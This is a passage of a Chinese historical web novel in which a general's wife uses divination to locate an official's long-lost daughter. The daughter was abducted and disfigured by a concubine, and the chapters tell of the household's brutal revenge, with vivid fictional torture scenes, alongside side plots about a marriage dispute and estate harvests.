小厮天天都去送,不是梨汤,就是糕饼果子,要么就是酱得浓油红光的水晶蹄膀、牛肉之类的吃食,一碟碟片好了,还搭配上了各种酱料蘸着吃,格外美味。 虞声笙还吩咐给那些将士小兵带了些打嘴的零食。 不外乎糕点干货等物,一次还送了枣泥山药糕去,可把众人乐坏了。 有道是拿人手短,吃人嘴软,时日一长,这些人也开始说虞声笙的好话了。 第100章乱花渐欲迷人眼 石勇在将士们当中走一圈,聊一会儿,就能收获好多好多关于自家夫人的赞叹与表扬。 偷偷告知闻昊渊,这男人很理直气壮、理所当然地来了句:“我夫人最好,这还用说?” 石勇:…… 不得不说,直白如闻昊渊,性子粗犷,不拘小节,或许也只有虞四姑娘那样狡黠又温柔的女子方能拿得住了。 虞声笙的美名在西郊大营传开了。 等传到徐诗敏耳中,也已经是大半月之后的事情。 原本因为对方得了个诰命在身,徐诗敏就各种心中不平,加上一向与自己交好的郭文惜也变得爱答不理,她越发焦躁不快。 再听闻这消息,她差点没打翻手里的胭脂盒子。 这会子她正在梳妆。 慕淮安并不像闻昊渊,会日日回来。 在西郊大营负责操练,每五日才回府一趟,徐诗敏早已习惯了。 盈袖贴在主子身边絮絮说了自己听到的消息,徐诗敏微微一愣:“当真?” “应当错不了,是咱们少将军身边的人说的。”盈袖咬着下唇,“奶奶您想想,那威武将军府与咱们素无往来,要不是虞四……咱们也犯不着与他们打交道,这底下的人都在夸,那八成是有这回事了。” 徐诗敏气急败坏,一把摘下头上的金钗,重重搁在梳妆台上。 “她什么时候学得这般讨好卖弄了?!如此谄媚,竟还闹到西郊大营去了!!好好好,原是我没她机敏能干,会这般巧心思,倒让她占了先机!” “奶奶,别生气,不过是拿不出手的小手段罢了……弄的那些个低等将士夸她有什么用?说到底,她从前在京中的名声那么差,真正的高门贵人谁看得上呢?您瞧瞧那些个太太奶奶,可曾往威武将军府送过什么拜帖?倒是奶奶您,昨个儿是品佳酿的宴饮,明日又是丰谷宴,后日还有诗会,哪里是那虞四能比得上的。” 盈袖小嘴叭叭,一张口就说的徐诗敏心气都顺了。 “也是。” 徐诗敏揽境而照,微微眯起眼眸,“就是这般讨好,莫不是做给咱们将军瞧的。” “要真如此,那就更好了;她如今嫁了人了,轮不到奶奶您拿捏收拾她,怕是闻将军头一个饶不了她。” 闻言,徐诗敏总算笑了。 转念想起虞声笙还混了个三品诰命在身,她又有些笑不出来。 一样都是嫁给了将军府,一样都是大奶奶,为什么差距会这样大? 沉思片刻,她静默地看着丫鬟们替自己梳妆完毕,抬手拢了拢被梳得一丝不苟的发髻:“我娘家那头可有消息传来?” “奶奶,那头的大太太说了,去亲瞧了那石府少爷,瞧着一表人才的模样倒也不错,原先也没那么快答应的,只是……心敏小姐一眼就瞧中了,非嫁不可。” 徐诗敏松了口气,脸上荡漾着得逞的快意。 “我就知道,从小到大我还是了解她的,知晓她喜欢什么样的少年郎君……”她屏住呼吸,“既这般就怪不得我了。” 盈袖瞧着自家夫人满脸狠厉,忙垂眸不语,心头突突狂跳。 隔了些许时日,眼瞅着差不多了,徐诗敏又一次回了娘家。 与上次不同,这次她是来劝小妹的。 “怪姐姐先前被迷了眼,竟一时被糊弄过去,这石府少爷断断不能嫁!我也是昨日赴宴时才知晓,那石少爷原先真有个要好的通房丫鬟,他与人家一双两好地伴着,还叫人家大了肚子。” 这话一出,徐大太太惊了:“你为何不早说?!” “女儿要是早知道,还能不来说的么?娘,您将女儿当成什么人了!!”徐诗敏急得哭,直抹泪。 盈袖忙道:“太太这是错怪咱们奶奶了,昨个儿宴席上,几位不熟悉的贵人太太们在说笑,我们奶奶听了一耳朵才觉得不妙,急得一晚上没睡好,今儿一早紧赶慢赶地就过来了。” 徐大太太再仔细瞅了瞅女儿,发现徐诗敏确实面容憔悴,熬得一双眼睛都红了,原先的怒气才稍稍平息些许。 “小妹何等妙人,怎能被这样的耽误?好在这事儿还未有定数,一切都来得及,对外我也不曾说过咱们家要与那石府议亲的事儿,瞒住了瞒牢了,不妨事的!”徐诗敏忙擦干了泪痕,语速极快。 徐大太太也赞同。 议亲不成的人家多了去了,也不止他们一家。 只要瞒得严严实实,也不会有什么大碍。 何况这事,确实是石少爷的问题,怪不得他家清清白白的好姑娘。 “母亲若不信,大可再去查问一番,女儿没有别的想法,只想着小妹能嫁得好,往后与我在京中互帮互助,也能互相有个依靠。” 这话说到了徐大太太的心坎里。 当下不再有疑。 翌日,徐大太太托人细细打探一番。 这一回她直接问了几个手帕交,一番推心置腹,得到的答案与徐诗敏所言几乎一样。 徐大太太忍不住倒抽一口凉气,擦了擦冷汗,一阵庆幸。 还好发现得早,要是已经过了小定,这会子反倒不好弄了。 她要彻底放弃石家这门亲事,没想到前头倒是顺利得很,到了小女儿这里却卡住了。 徐心敏说什么都不愿放弃。 她还胸有成竹:“姐姐说的那什么通房丫鬟的事,我原先就知晓。” “你怎么知道的?” “自然是芠郎与我说了的,他事事不瞒着我,全心全意待我,我知晓这些有什么奇怪的。”徐心敏骄傲地弯起嘴角,“娘,女儿明白你在担心什么,可一样是男人,哪有不纳妾的?女儿能把石家少爷牢牢捏在手中,往后纳妾也好,通房也罢,还不是我一人说了算?” 徐大太太:“你疯了不成?还与那石少爷有私下往来?” “什么私下往来,不过是去过几封书信。” 徐心敏嘴硬,“我不管,这婚事我要定了,凭什么姐姐说好我便要好,如今又是姐姐说不成我就要不成么?我的事儿,凭什么她说了算?” 徐大太太急了,各种劝说无果,气得晚饭都没吃,躺在自己屋里长吁短叹。 一个不行,就等徐大人回来了,夫妻二人一同上阵劝说。 不说还好,说到最后徐大人急了,有些不中听的话脱口而出。 徐心敏自幼受宠惯了的,何曾被父亲这样说过,当即委屈得眼泪直掉,反口便是一句:“当初姐姐坏了虞四的婚事,慕淮安还有赐婚在身,她就敢与人家互定终身,轮到我了,便要这样指着骂,我再不堪到底也不曾去抢了旁人的未婚夫!” “如今她风光了,成了将军夫人了,倒是能摆个臭架子回来耀武扬威。我呸——她算个什么东西,还不是贱人一个!” 因这些话,徐心敏挨了出生以来第一记耳光。 屋子闹得鸡飞狗跳,鬼哭狼嚎,丫鬟们劝着,盈袖还挨了打,直闹得人仰马翻才堪堪消停。 经此一役,夫妻二人都后悔不迭。 早知如此,何必当初呢…… 徐心敏坚决不妥协,徐大太太又度过了一个不眠之夜。 第101章结缘 又是一场秋雨过后,风吹在脸上渐渐带了几分锋利。 暖阁内早早起了火盆,并不算宽敞的地方被哄得暖洋洋的,黎阳夫人并两个小的,早早用罢了晚饭,洗漱收拾妥当,便上床看书讲故事了。 虞声笙坐在灯下,一个哈欠接一个哈欠。 闻昊渊还没回来。 金猫儿推门进来,将窗棱支开了一丝缝,又让小丫鬟们捧了几只装满水的铜盆进来摆好。 “这窗户是断断不能关的,夫人可要记住了。”金猫儿正色道,“奴婢挂了帘子在这儿,透气又挡风,也不会叫夫人吹着凉,夫人只管安心。” “是了,这碳气可不是闹着玩儿的,这水盆子也要每晚都要换上,今晚是谁值夜?”今瑶也跟着开口。 外头两个十三四岁模样的小丫头应了。 今瑶又道:“你们俩素日里机灵能干,这会子到了夫人身边伺候,更要仔细,要做什么我已经教过你们了,别忘了其中关键就成。” 两个丫头连连点头,再无不应的。 见自己两个大丫鬟操持打点得井井有条,虞声笙感慨道:“多谢太太将金猫儿姐姐给了我,也多谢今瑶姑娘长大了,两个都这般能耐,我也可放心享福喽。” 今瑶脸蛋一红,羞道:“瞧夫人说的,原先不都这样过来的么,今年夫人屋子里起了暖阁,自然更要当心的。” “好好好,听你的便是,你家夫人最乖了。” 虞声笙笑眯眯地歪在褥子上,只觉得四周暖意融融,熏得人几乎发困。 可闻昊渊还没回来…… 她又打了个哈欠。 正泡脚时,石勇回来传话了,说是明日皇帝会亲临西郊大营巡视,将军今晚就不回来了。 大约是怕她担忧,来传话的并不是什么随意的小厮,而是石勇本人。 虞声笙又赏了热乎乎的奶子茶给他,这才吩咐下人们熄了暖阁之内的烛火,安然睡下。 这是成婚后难得独自一人的夜晚。 夏日那会儿还没觉得怎么样,一到秋冬,身边少了个热乎乎的存在居然还有点不习惯。 她无奈地笑笑,顿觉习惯真是种可怕的东西,能潜移默化间改变一个人。 有了暖阁,这一夜睡得格外舒坦。 就是有些燥热。 一觉醒来,虞声笙连吃了三盏茶,这才觉得缓过来。 本是稀松平常的一日,晌午未到,忙碌的当家主母正想着如何偷懒,门房送了拜帖来。 来自一户从来没有过交情往来的府邸——光禄寺少卿温大人的府上。 温大人的夫人,娘家姓昌,也是名门望族之一。 这位昌夫人平日里最爱吃斋礼佛,婉拒了京中很多宴饮邀请,最爱去的便是京郊的万佛寺。 这样一位素日里不爱与高门女眷打交道的夫人,为什么会给自己下拜帖,虞声笙困惑不已。 困惑归困惑,该有的礼数还是不能缺。 这是虞声笙回到虞府后学到的第一项本事。 要让自己能张嘴说话,首先就得让对方挑不出自己的错来。 哪怕是隐瞒,也得瞒得高明。 让小厮送了回应的请柬后,这事儿就这么定下来,今日下午昌夫人便会过府一叙。 虞声笙很无奈——这么算起来,没时间歇午觉了。 忙忙碌碌,很快便到了见面的时辰。 昌夫人生性严谨,说了是什么时辰来就什么时辰来,一丝都不差的。 金猫儿领着昌夫人入了花厅。 虞声笙与对方一打照面,见对方虽已过不惑之年,未施脂粉,但却显得白净纤瘦,气度高华,尤其浅浅一笑,宛若沐浴春风,开口才说了两三句,字里行间便尽显阳春白雪,听得人格外舒坦。 虞声笙明白,这也是个厉害角色。 看茶见礼后,虞声笙邀昌夫人上座。 “我久闻夫人美名,今日一见当真不同凡响,只是我福薄,回京这么久了也没缘分与夫人亲近结交,还望夫人莫要介怀。”虞声笙温温一笑。 “将军夫人谬赞了,我不过是佛前祝祷之人,哪有什么美名,今日冒然前来,也只是为了寻人……” 昌夫人顿了顿,“我听闻,夫人您在秋猎之时只凭着小皇子的生辰八字就能寻到他的下落,这番本事当真罕见难得;实不相瞒,我府上也有这样一桩难言之隐,多年前……我的女儿在上元佳节的灯会上失踪了。” 说起这桩心酸往事,哪怕时隔多年,昌夫人还是红了眼眶。 原来,这位小姐唤作婉珠。 是温大人与昌夫人的第一个孩子。 作为长女,自然备受宠爱,宛若掌上明珠。 婉珠小姐长到八九岁上时,在一个上元之夜丢失,从此再无下落。 哪怕昌夫人还有一子一女相伴,但只要想起这个孩子,昌夫人总会垂泪伤感,自责不已。 因为那一日,是她做主带着女儿出府玩的。 为求女儿回来,温大人不知奔走了多少趟,不知差遣了多少人,昌夫人更是一心吃斋礼佛,希望多替女儿积攒功德福气,只盼着她能早日回家。 就算回不了家,天大地大,也请满天神佛保佑她的心肝能平安无事,顺遂度日。 听完了这些,虞声笙也是一阵唏嘘。 “承蒙夫人看得起,我确有些本事在身上,但能不能找回令千金我如今还不能保证。” “无妨,我今日登门也是求一个法子……不管怎么说,我尽力了,总不能听到了法子,还当没听见。”昌夫人嘴角泛着苦涩。 “既如此……还要请一请婉珠小姐的生辰八字,另要父母至亲的一滴血。” “生辰八字好说,这一滴血……要如何给你?” “用黄纸沾了送来即可,不可超过十二时辰,都是可行的。” 这些东西备起来并不难,昌夫人立马答应了,说是明日一道送来。 没等虞声笙开口,她就奉上了一只沉甸甸的匣子。 待昌夫人离去,虞声笙打开一瞧,里头竟是一锭锭金元宝! 每一颗都饱满圆润,金光灿烂,几乎晃花了眼睛。 这是她自己赚的钱! 她凭自己的本事赚的! 虞声笙心花怒放,忙将其收了起来,压在自己的箱笼里。 今瑶有些担忧:“夫人,昌夫人这般大的手笔,要是咱们寻不到婉珠小姐的下落可怎么好?” “万事心诚则灵,缘法也有天道规矩,既结了这善缘,自然要诚心所求,不管能不能找到,总会给一个结果。” 翌日,昌夫人就将婉珠小姐的生辰八字,以及两张沾了血的黄纸送来了。 那上头血迹新鲜,明显是今日刚得的。 虞声笙感念一句父母慈心,便当着昌夫人的面起卦掐算。 不过须臾的功夫,她脸色微沉。 见她神色不对,昌夫人慌了:“可是有什么不好的消息?还请将军夫人直接言明。” 都等了这许久了,她其实早就想过最坏的打算。 是死是活,昌夫人只是想要一个答案。 “令千金尚在人间,不过……卦象显示,她不但没有出京城,甚至都没有出贵府的大门。” 昌夫人惊住半晌:“这怎么可能!” 第102章找到了 是啊,这怎么可能! 想过很多种结果,唯一没想到是这样的答案。 自家的宝贝千金丢了这些年,最后被告知哪儿都没去,还在府中,甚至她还活着! 要是真活着,又在自己家中,为何这些年都不露面呢? 婉珠刚丢的那几年,夫妻俩几乎日日焦急,昌夫人更是夜夜以泪洗面,闹得府里上下无人不知;婉珠那会儿也有八九岁了,早已记事,怎么可能看着父母这般着急,自己还躲在暗处不声不响地看着。 昌夫人头一次怀疑起自己的决定。 来找这位将军夫人,是不是太过草率了? 这分明就是胡诌呀。 虞声笙一眼便看穿了对方所想,也不生气,只是淡淡道:“卦象乃天机,缘法如此,确实是在你府里;夫人不妨想一想,婉珠小姐丢失之后,府中可有来过什么人?尤其是与婉珠小姐年龄相仿的女孩子,你可往这个方向查一查。” 话音刚落,昌夫人不知想起了什么,脸色煞白,腾地一下起身:“多谢夫人提醒。” 下一瞬,她转身离去,走得飞快。 金猫儿见状惊愕:“她这是……已经想到了?” 虞声笙摇摇头,又吃了一口茶:“命也时也。” 感念婉珠小姐的遭遇,但想想自己得到的一屉金元宝,她又忍不住有些窃喜。 没法子,虞声笙就是这般爱财。 深秋之时,庄子上新一轮的收成也接近尾声。 与夏收时一样,盘点入库上税之后,自有管事送了账簿来威武将军府。 这次来的,有何管事,还有二张两人。 大约是为了让虞声笙瞧见自己的能耐和诚心,这一次的账簿登记得格外细致,令人一目了然。 “回夫人的话,咱们小宁庄上新建的谷仓都已装满,那些个适用的田地也已完成播种,只是……耕种的范围不及春夏两季。”何管事有些遗憾。 “无妨,秋冬天冷,适宜耕种的作物本就稀少,能最大化利用即可,也叫庄子上的佃户们能过一个丰足的好年,不叫青黄不接之时为难他们的肚子。” 虞声笙一页页翻看过去。 她心算过人,不过寥寥数页看完,她就已经算出了大概数额。 再与最后的金额对了对,顿觉满意。 看来,这三人还是得用的,很有眼力劲,明白自己如今效劳的主子是谁。 何管事已经听出了虞声笙的话外之音,忍不住问道:“还请夫人明示,这秋冬耕种下去的收成,来年春季可是要分给庄子上的佃户们的?” 虞声笙赞赏地投去一眼:“没错。” 何管事简直不敢相信自己的耳朵。 张运与张大康也面面相觑。 三人明白过来,忙不迭地跪地谢恩。 虞声笙揉了揉眉心,忙叫他们起来,又叮嘱了几句后,遣散了他们。 三人又得了些赏钱与果子,装了个满怀,坐在回程的驴车上轻轻晃悠着,张运忍不住开口:“将军夫人倒是比想象中……更和气。” “何止和气,还更大方。”张大康直接道,“我还道夫人会为难我,毕竟我上回……嗐!” “旁的话就不说了,这番回去你们都叮嘱其他人,这一季的耕种关乎到来年春天咱们自个儿的口粮,方才夫人的话你们都听到了,种的多算咱们的,种的少也算咱们的。” 何管事一语道破。 二人无有不应的,忙不迭地点头。 却说昌夫人回到府中,二话不说命令道:“将苏姨娘带来,还有……让人去看住她房里的所有人,尤其是那位痴傻的表小姐。” 说到最后,她竟有些声音哽咽。 身边的婆子闻言,大喜过望。 要知道昌夫人已经很多年没有亲自料理庶务。 偌大一个府邸内,竟是由一个姨娘把持。 这个姨娘,便是昌夫人刚刚说的苏姨娘。 苏姨娘袅袅婷婷到了昌夫人跟前,一身娇艳的水红绸缎,衬得她越发光彩照人,梳着精致典雅的罗髻,还在鬓边插了一朵盛放的蜀葵,一样是明丽的红色,两厢映照,更显得苏姨娘娇媚多姿,颇有颜色。 对比之下,一身素袍的昌夫人就不够看了。 苏姨娘潦草地福了福:“夫人寻妾身来,可是屋内的用度短了?夫人只管派下人来知会一声便可,又何必这般大费周章的?外头还有好些事情没办呢,怕是一时半会离不了妾身。” 昌夫人冷笑:“我竟不知道,这府里离了你苏姨娘还不成了,你没进门前,难道府里都过不下去了?要你苏姨娘费尽心力地周转才行?” 苏姨娘一愣,心头有些慌乱。 要知道这些年昌夫人一直不问世事。 只因长女丢失,让她伤了心神,平日里也就一子一女能叫她分出几分精力来,至于内宅庶务,她早就推脱给了旁人。 原先管家大权也没落到苏姨娘的手里,而是昌夫人的陪房,后来被开脸抬成了姨娘;可惜这位姨娘却是个红颜薄命的,掌家没半年就撒手人寰了。 先后经历了丢失女儿,又痛失心腹,昌夫人越发没了心力。 这才让苏姨娘后来者居上,成了如今内宅中说一不二的主子。 苏姨娘忙跪下,再抬眼时已泪水涟涟:“不知妾身做错了什么,倒惹得夫人这般生气,妾身做错了夫人只管打骂,可千万不要气坏了身子……” 昌夫人也不说话,冲着身边的婆子挥了挥手。 很快,婆子们上前将苏姨娘按住,直接捆了起来。 苏姨娘大惊失色:“夫人!就算妾身有错,您也不能这样动用私刑!且等老爷回来,叫妾身死也死个明白!!” 昌夫人懒得听她废话,又让人堵住了她的嘴。 不消一会儿,那痴傻的表小姐就被带了过来。 一见这表小姐,苏姨娘的眼珠子几乎要瞪出来,满脸惊恐。 表小姐到了昌夫人的跟前依旧傻笑着。 她的脸被毁了一半,只有另一半能看出正常的皮肤、眉眼。 即便如此,她还在笑着:“娘亲,娘亲……兔子花灯好看,还是莲花花灯好看?” 这话一出,昌夫人如遭雷劈,整个人木在了当场。 数年前见到女儿的最后一幕涌上心头,那样清晰明显。 婉珠问了相同的话,将两盏灯送到她跟前,灯火笼罩,女儿笑颜如花,一个转身就没入了人海之中。 昌夫人颤抖着双手,抚上了她的脸。 “婉珠,婉珠……是你么?” 听到这个熟悉的名字,表小姐愣住了,似乎也在仔细辨认眼前的人。 那另一半的眉眼虽已经长大了不少,但身为母亲,昌夫人还是认了出来——是她的婉珠没错!是她的女儿! 意识到这一点,昌夫人闭上眼睛,强行压住了汹涌的恨意。 “来人,将大小姐带回我屋内,没有我的吩咐,即便老爷来了,也不准见。” “是。” 婉珠小姐被带进了屋中。 昌夫人擦了擦湿润的眼角,缓缓转身看向苏姨娘。 苏姨娘早已吓得手脚发软,抖个不停。 她不明白,都相安无事隐瞒了这么多年,怎么会突然露馅!! “把她带去柴房。”昌夫人淡淡吩咐道,“去备物件,越齐全越好。” 第103章下场 听到这话,苏姨娘再也忍不住,奋力想要挣脱,口中发出呜呜的声响。 可她一个养尊处优惯了的内宅妇人,如何是几个五大三粗的婆子的对手,没挣扎两下就被压制了下去;这些婆子都是昌夫人的陪嫁心腹,一个个都忠心无比,她们早就看苏姨娘不顺眼了,今日得主子吩咐,可以给这姨娘一个教训,何乐不为? 苏姨娘身上挨了好几下,疼得她眼泪都出来了。 偏又不能发出声响,只能愤怒又惊惧地看着昌夫人。 昌夫人拨弄着手中的佛珠,缓缓道:“这事越快越好,务必在老爷回府之前料理妥当。” 日头渐渐西斜,转眼已是黄昏。 温大人下朝后与几位同僚小酌畅谈一番,这会子才带着几分醉意回府。 早有小厮在门房处候着,见他回来了便上前道:“老爷,夫人请您过去一趟。” 温大人有些惊讶,还是让小厮在前头带路。 自从大女儿丢失之后,他们夫妻间生了不少嫌隙。 先是昌夫人自责,自觉无言面对他,越发收敛心防,不愿亲近;后又有了苏姨娘后来者居上,渐渐分去了他一大半的心思,令他们夫妇渐行渐远,细想起来,他已经很久不曾踏足过妻子的房中。 像今日这样,属实罕见。 温大人一面走一面唏嘘,不断反省着过往种种,是不是自己太过了些…… 到底结发夫妻,百年后是要同穴而寝的,他到底还是疏忽了。 迈入昌夫人的卧房,他还没来得及开口,就见妻子缓缓转身问道:“数年前苏姨娘从老家带来的孩子就是咱们的女儿婉珠,这事你可知晓?” 这话如五雷轰顶,震得温大人愣在原地,一时间回不过神。 见他这模样,昌夫人哪里还有不明白的。 她冷笑连连:“咱们俩都是睁眼的瞎子,尤其是你,这些年你与她恩爱缠绵,每每宿在她房中,竟连这一点都瞧不出来。” “婉珠,你说婉珠?这话当真?!” 温大人迫切追问,“莫不是弄错了……” “孩子就在我房中,你尽可去瞧。”昌夫人强忍哽咽,又带了几分嘲弄道,“许是我认错了也是有的,怎么说也该叫你这个做爹的亲眼瞧一瞧。” 闻言,温大人哪里还耐得住。 见婆子出来打起门帘子,他一个箭步冲了进去。 昌夫人挺直后背,面色沉静如水,手中的佛珠却在不断转动,发出清脆的哒哒声响。 足有一炷香的功夫,温大人才出来。 他面如土色,整个人仿佛换了个芯子似的,肉眼可见的颓败愤怒。 “怎会……这样?” “我已将苏姨娘关进柴房,对她身边的心腹用了刑;呵呵,她们倒是忠心得很,一开始嘴硬什么都不说,我叫人撬开了其中一人的嘴巴,将铁水灌进去,这下其他人才说了。” 昌夫人的声音透着入骨的森冷。 温大人突然记起,自己的结发妻子从来都是雷厉风行,铁血手腕的,在心灰意冷之前,府中内外打点都是昌夫人一人说了算。 教训几个奴仆,让他们开口有什么难的? 苏姨娘进门晚,根本没真正领会过昌夫人的手段。 “证词都在这儿,老爷先过目,若有不信,大可亲自审问一番,别叫我冤枉了你的心头肉。” 事关长女,温大人早已没有了宠爱苏姨娘的兴致。 他草草看了一眼:“你必不会冤枉她,你说有其事,那就必定有。” 昌夫人这才略略觉得心宽了些。 温大人去了一趟柴房。 见到他,苏姨娘忙哭得梨花带雨,一张俏生生的脸蛋不见岁月痕迹,徒留风韵柔情。 “老爷,夫人不知听信了哪个佞人的话,误判了妾身,妾身冤枉啊……” 哭了好一会儿,不见温大人安抚,苏姨娘暗道不好,忙又抬眼怯怯唤了声:“连茂郎都不信我了么?” “你带来投奔的表小姐,为何是婉珠?她是怎么受伤的,又是如何变得痴傻,事到如今,还不交代清楚么?” 温茂筑负手而立,就站在苏姨娘不远处。 苏姨娘捂脸痛哭:“妾身不知……” 温茂筑无声冷笑。 她哪里是不知,分明就是想蒙混过关。 来见苏姨娘之前,温茂筑已经去问过那些心腹婆子了,得到的答案令他痛心不已。 原来上元节灯会失踪一事,从头到尾都是苏姨娘策划的。 她不满府中昌夫人一人独大,把持中馈,便想出这么一招阴损的法子,让温茂筑与昌夫人痛失爱女。 这么一来,昌夫人必定痛心悲伤,无暇顾及府中庶务,与丈夫的感情也会渐渐疏远淡漠,苏姨娘就能趁虚而入,以温柔乡为诱惑,一步步引得温茂筑这些年非她不可,她也渐渐取代了昌夫人,成为府中内宅真正的掌权者。 原本,苏姨娘是打算弄死婉珠小姐的。 毕竟也就八九岁的一个孩子。 可府上丢了大小姐,夫妻俩惊慌不安闹腾起来,报官寻人,闹得满城沸沸扬扬,苏姨娘也就不敢杀人灭口,回头再被人察觉出了异样,更会引火烧身。 为了让婉珠小姐安分,苏姨娘日日命人给她灌汤药,使其成天昏昏欲睡,无法彻底清醒;药物用多了,伤了脑子,婉珠小姐就成了个痴儿。 见状,苏姨娘干脆一不做二不休,命人毁去婉珠小姐的脸,又装作她是从老家投奔自己来的小侄女,顺理成章地换了个身份,再次进入温府。 苏姨娘不过是个妾室。 那会子府里又为了大小姐丢失一事,闹得人心惶惶,谁也没有细究她带回来的孩子究竟是谁…… 等时日一长,苏姨娘又把持中馈,大权在握,就更无人问及了。 了解完前因后果,温茂筑只觉得眼前一黑又一黑。 一想到心爱的女儿竟叫歹人如此折磨,还放在自己的眼皮子底下这么多年,他就心如刀绞。 恍惚间,他突然想起一年冬日,亲眼见过这痴傻的表小姐蹲在小厨房后头吃潲水……偏他当时根本没认出来这是自己的女儿! 泪水漫过眼眶,温茂筑抿唇不语。 苏姨娘还在哭诉,妄图用往日情分打动男人。 好一会儿,温茂筑什么也没说,起身离去。 苏姨娘见状不妙,忙扑过去紧紧抱住他的腿:“老爷,求老爷垂怜!!” 温茂筑狠狠一脚踹开,头也不回地走了。 当晚,夫妻二人同宿,彻夜未眠。 翌日一早,苏姨娘的脸被刮满了血痕,捆住手脚,呈大字型关在柴房中,她的嘴被堵上,只能发出呜呜声。 疼,太疼了! 她几乎要疼晕过去。 可偏偏下手的婆子是个老手了,能叫她疼得喘不上气来,偏又能留她一丝神志清明,绝不会失去意识。 婆子正在弄一根粗线。 这是由马尾金弦制成,极具韧性。 “你说说你,从前风光不自知,偏下这等狠手,咱们婉珠小姐还是个孩子,哪里得罪了你,要吃你这些苦头。” 那婆子嘟囔道,“老婆子我这手艺,还是从前在王府里学来的,没承想今日还能派上用场。” 她边说边转过身,粗线的两头被她缠在手上。 她笑道:“苏姨娘,准备着吧,咱们好上路。” 第104章风云之地 苏姨娘惊恐万分,发出呜呜的声响,也不知是在谩骂,还是在求饶,可惜已经无人在意。 “劝你安分点,老爷夫人可不想再见您,这不仅仅是夫人的意思,更是老爷的命令;不过看在姨娘你这些年侍奉在侧,多有功劳,老爷也吩咐了,说是叫您慢慢上路,别轻易叫您没了气,老婆子下手有轻重,您就放心吧。” 婆子发出几声桀桀的笑声,听得苏姨娘头皮发麻,面色惨白。 这一天一夜,柴房中时不时传来呜咽的声响。 并不十分鲜明,但却听得人心头发颤。 偶有小丫鬟或是小厮经过,他们也不敢张望,低头快步经过,生怕略有停顿,就会被柴房里的人给吓到。 又隔了一日,到了第三日清晨,婆子来回话了。 “夫人,苏姨娘咽气了。”婆子像是在说一件无关轻重的小事。 昌夫人正跪在菩萨跟前上香。 双手合十,举过头顶,口中念念有词了片刻,她在一片香雾缭绕间睁开眼:“告诉老爷了么?” “已经派人去老爷跟前回过话了。” “老爷怎么说?” “老爷直说丢去乱葬岗喂狗。” 这话倒是让昌夫人顺气了不少。 她眼色冰冷,微微泛着猩红:“丢出去定然是不行的,给苏姨娘报个暴病而亡吧,在庄子上随便寻个地方草草葬了了事。” 婆子领命,又问,“夫人要不要去看一眼?” 昌夫人犹豫片刻,点点头:“应该的,送她一程,多谢她这些年的照拂。” 她缓缓起身,去了柴房。 柴房内,苏姨娘依旧呈大字躺在地上。 瞪大双眼,微微张口,面上的红润还未褪去,俨然刚刚咽气不久。 她的身上已经没有一块好皮。 那马尾金弦制成的粗线竟从她的腕骨处埋入,刺入她皮下每一处骨肉,硬生生将皮肉从里面剖开,隔着肌肤都能隐隐瞧出粗线的走向。 每埋入一寸,苏姨娘就会感受到拆骨扒皮的痛苦。 偏一时半刻昏厥不了,当真是求生不能,求死不得。 最后,那些粗线渐渐聚拢在她的脸颊处。 昌夫人静静欣赏了一会儿。 突然,苏姨娘脸颊皮下的粗线再也撑不住张力,竟硬生生撑破了皮肉,带着鲜血淋漓,一股脑挤了出来。 昌夫人身边的丫鬟吓得忍不住惊叫出声。 唯有昌夫人依然面不改色,只拨弄了两颗佛珠,冷冷赞道:“妈妈当真好手艺。” 得了夸奖的婆子忙弯腰鞠躬,笑道:“多谢夫人夸奖,能替夫人解忧,是奴婢的福气。” “拖走吧,葬了了事。”昌夫人淡淡道,“若她家里人来问,便一五一十地告知,且叫他们去老爷跟前折腾好了。” “是。” 苏姨娘被一卷草席潦草裹着,像条死狗似的被拖出了府门。 昌夫人回到房中。 婉珠已经穿戴齐整,乖巧地坐在榻上玩九连环。 见到女儿,她眉眼终于氤氲出湿漉漉的温柔,抬手摸了摸女儿的头发。 痴傻的女儿不明白母亲为何这样,甚至都认不出这是自己的母亲,婉珠抬眼憨憨一笑,半张脸天真明媚,另外半张脸宛如恶鬼,看得昌夫人心痛难忍,差点又落下泪来。 几日后,昌夫人亲自携礼登门感谢。 虞声笙什么也没问,笑眯眯地收下。 “多谢虞夫人出手相帮,不然我夫妇二人八成要做一辈子的睁眼瞎了,小小薄礼,不足挂齿。” “您这话就过谦了,说句明白话,我也不过是乡野长大的,承蒙养父养母不弃才有了今日,您送了这般好的礼物来,管叫我大开眼界,我谢还来不及呢,哪里就礼薄了?” 虞声笙乖巧地弯起眉眼。 “虞夫人的本事,我算是领教过了,今日……还有个不情之请,敢问夫人能否算出小女今后的福气?”昌夫人犹豫再三,还是问出了口。 “命数这东西,本就在人心之中,夫人一片慈母心肠,且你们母女缘分未尽,上天垂怜,必定会叫你们一家团聚;可夫人所求福气二字,恕我直言,福气也是靠自身积攒得来,算是算不出的。” 虞声笙的话令昌夫人恍然大悟。 她深叹:“原来如此,是我……想岔了。” 又是两盏茶下肚,昌夫人欲言又止。 “夫人有什么话尽管说便是。” “既如此,我就直说了,虞夫人可知晓你亲生父母的事情?” “知晓一些。” 自虞声笙被接回虞府后,虞正德或是张氏都有跟她提起过亲生父母,但并未多说什么,只说了他们的姓名以及当初的遭遇。 虞声笙的生父姓洪,单名一个修字,字舍原;母亲姓柴,名安筠,也出自书香门第。 这二人都是年少风光,良玉英才,堪称天生一对。 只可惜,也不知是福运太过,还是什么旁的原因,自从封官外派后,夫妇二人的运道不济,最后竟客死异乡。 虞声笙后来跟着老道士学了起卦之法后,也算过自己的生身父母。 但卦象一片模糊,无法算清。 唯有一点可以肯定,这二人的死因并不简单。 如今昌夫人提及,虞声笙更坚信——急病暴毙只是表象,真正的死因一定藏在更深处。 昌夫人略略说了一会儿,又道:“我与你母亲曾有过数面之缘,当年他们离京时身体都很好,却不想……这般命苦;如今见你嫁得高门,日子也越发顺遂平坦,若你父母泉下有知,也该心安了。我……没什么好说的,只有一句,别跟瑞王府走得太近。” 虞声笙有些不解:“为何?外人都道,瑞王爷亲和大度,乃宗亲之首,为何不能与他府上太亲近?” “皇族宗亲,咱们一般官宦人家还是敬而远之的好,我瞧闻将军年少英才,颇得陛下重用,既如此,还是独善其身更为妥帖,虞夫人以为呢?” 昌夫人这话并没有说得太直白。 但她温柔又担忧的眼神已经表明了一切。 虞声笙没有继续追问,轻轻颔首,表示应下。 又略坐了一会儿,昌夫人告辞离去。 坐在榻上许久,虞声笙摩挲着腕上的红线铜钱,又想起年少时为父母起的第一卦。 那时眼前浓雾不断,整个魂灵仿佛都被抽走。 要不是那老道士出手及时,把她拉了回来,她指不定就死在那一天了。 那一次之后,她足足躺了十多日才缓过神来。 